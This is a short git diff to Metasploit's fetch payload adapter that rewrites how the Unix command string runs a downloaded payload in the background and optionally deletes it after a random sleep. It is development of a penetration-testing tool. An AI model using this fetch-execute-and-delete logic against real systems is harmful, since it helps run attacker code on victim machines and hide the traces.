diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 84cefa41ce62..fa17aeff1bb1 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -203,14 +203,8 @@ def _execute_win def _execute_nix cmds = ";chmod +x #{_remote_destination_nix}" - if datastore['FETCH_DELETE'] - # sometimes the delete can happen before the process is created - sleep_delete = rand(2..7) - cmds << ";(#{_remote_destination_nix} &)" - cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}" - else - cmds << ";#{_remote_destination_nix} &" - end + cmds << ";#{_remote_destination_nix}&" + cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] cmds end